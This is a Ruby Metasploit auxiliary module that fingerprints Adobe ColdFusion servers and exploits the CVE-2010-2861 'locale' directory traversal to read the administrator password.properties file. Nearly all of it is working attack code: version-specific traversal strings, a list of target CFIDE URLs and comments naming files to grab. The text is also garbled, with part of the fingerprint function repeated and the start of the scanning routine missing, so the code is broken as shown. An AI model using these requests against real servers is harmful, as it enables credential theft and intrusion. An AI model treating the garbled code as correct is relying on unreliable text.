## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize super( 'Name' => 'ColdFusion Server Check', 'Description' => %q{ This module attempts to exploit the directory traversal in the 'locale' attribute. According to the advisory the following versions are vulnerable: ColdFusion MX6 6.1 base patches, ColdFusion MX7 7,0,0,91690 base patches, ColdFusion MX8 8,0,1,195765 base patches, ColdFusion MX8 8,0,1,195765 with Hotfix4. Adobe released patches for ColdFusion 8.0, 8.0.1, and 9 but ColdFusion 9 is reported to have directory traversal protections in place, subsequently this module does NOT work against ColdFusion 9. Adobe did not release patches for ColdFusion 6.1 or ColdFusion 7. It is not recommended to set FILE when doing scans across a group of servers where the OS may vary; otherwise, the file requested may not make sense for the OS }, 'Author' => [ 'CG', 'nebulus' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2010-2861' ], [ 'BID', '42342' ], [ 'OSVDB', '67047' ], [ 'URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07' ], [ 'URL', 'http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-18.html' ], ] ) register_options( [ OptString.new('FILE', [ false, 'File to retrieve (make sure path/file match OS (ie, /etc/passwd on Windows == dumb))', '']), OptBool.new('FINGERPRINT', [true, 'Only fingerprint endpoints', false]), ], self.class) end def fingerprint(response) if(response.headers.has_key?('Server') ) if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/) os = "Windows (#{response.headers['Server']})" elsif(response.headers['Server'] =~ /Apache\//) os = "Unix (#{response.headers['Server']})" else os = response.headers['Server'] end end return nil if response.body.length < 100 title = "Not Found" response.body.gsub!(/[\r\n]/, '') if(response.body =~ /(.+)<\/title\/?>/i) title = $1 title.gsub!(/\s/, '') end return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/) out = nil if(response.body =~ />\s*Version:\s*(.*)<\/strong\>\s+(.+)<\/title\/?>/i) title = $1 title.gsub!(/\s/, '') end return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/) out = nil if(response.body =~ />\s*Version:\s*(.*)<\/strong\>\s+ url, 'method' => 'GET', 'Connection' => "keep-alive", 'Accept-Encoding' => "zip,deflate", }, 10) return if not res or not res.body or not res.code if (res.code.to_i == 200) out = fingerprint(res) print_status("#{ip} #{out}") if out return if (datastore['FINGERPRINT']) if(out =~ /Windows/ and out =~ /MX6/) trav = '..\..\..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en' elsif(out =~ /Windows/ and out =~ /MX7/) trav = '..\..\..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en' elsif(out =~ /Windows/ and out =~ /ColdFusion 8/) trav = '..\..\..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en' elsif(out =~ /ColdFusion 9/) print_status("#{ip} ColdFusion 9 is not vulnerable, skipping") return elsif(out =~ /Unix/ and out =~ /MX6/) trav = '../../../../../../../../../../opt/coldfusionmx/lib/password.properties%00en' elsif(out =~ /Unix/ and out =~ /MX7/) trav = '../../../../../../../../../../opt/coldfusionmx7/lib/password.properties%00en' elsif(out =~ /Unix/ and out =~ /ColdFusion 8/) trav = '../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en' else if(res.body =~ /Adobe/ and res.body =~ /ColdFusion/) print_error("#{ip} Fingerprint failed, FILE not set...aborting") else return # probably just a web server end end else return # silent fail as it doesnt necessarily at this point have to be a CF server end end # file specified or obtained via fingerprint if(trav !~ /\.\.\/\.\.\// and trav !~ /\.\.\\\.\.\\/) # file probably specified by user, make sure to add in actual traversal trav = '../../../../../../../../../../' << trav << '%00en' end locale = "?locale=" urls = ["/CFIDE/administrator/enter.cfm", "/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm", "/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/logging/settings.cfm"] # "/CFIDE/install.cfm", haven't seen where this one works out = '' # to keep output in synch with threads urls.each do |url| res = send_request_raw({ 'uri' => url+locale+trav, 'method' => 'GET', 'headers' => { 'Connection' => "keep-alive", 'Accept-Encoding' => "zip,deflate", }, }, -1) if (res.nil?) print_error("no response for #{ip}:#{rport} #{url}") elsif (res.code == 200) #print_error("#{res.body}")#debug out << "URL: #{ip}#{url}#{locale}#{trav}\n" if match = res.body.match(/\(.*)\<\/title\>/im) fileout = $1 if(fileout !~ /Login$/ and fileout !~ /^Welcome to ColdFusion/ and fileout !~ /^Archives and Deployment/) out << "#{ip} FILE:\n#{fileout}\r\n" break end end else next if (res.code == 500 or res.code == 404 or res.code == 302) print_error("#{ip} #{res.inspect}") end end if(out =~ /FILE/) print_good(out) else print_status(out) end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError rescue ::Timeout::Error, ::Errno::EPIPE end end #URL's that may work for you: #"/CFIDE/administrator/enter.cfm", #"/CFIDE/wizards/common/_logintowizard.cfm", #"/CFIDE/administrator/archives/index.cfm", #"/CFIDE/install.cfm", #"/CFIDE/administrator/entman/index.cfm", #"/CFIDE/administrator/logging/settings.cfm", #Files to grab #../../../../../../../../../../ColdFusion8/lib/password.properties%00en #../../../../../../../../../../CFusionMX7/lib/password.properties%00en #../../../../../../../../../../opt/coldfusionmx7/lib/password.properties%00en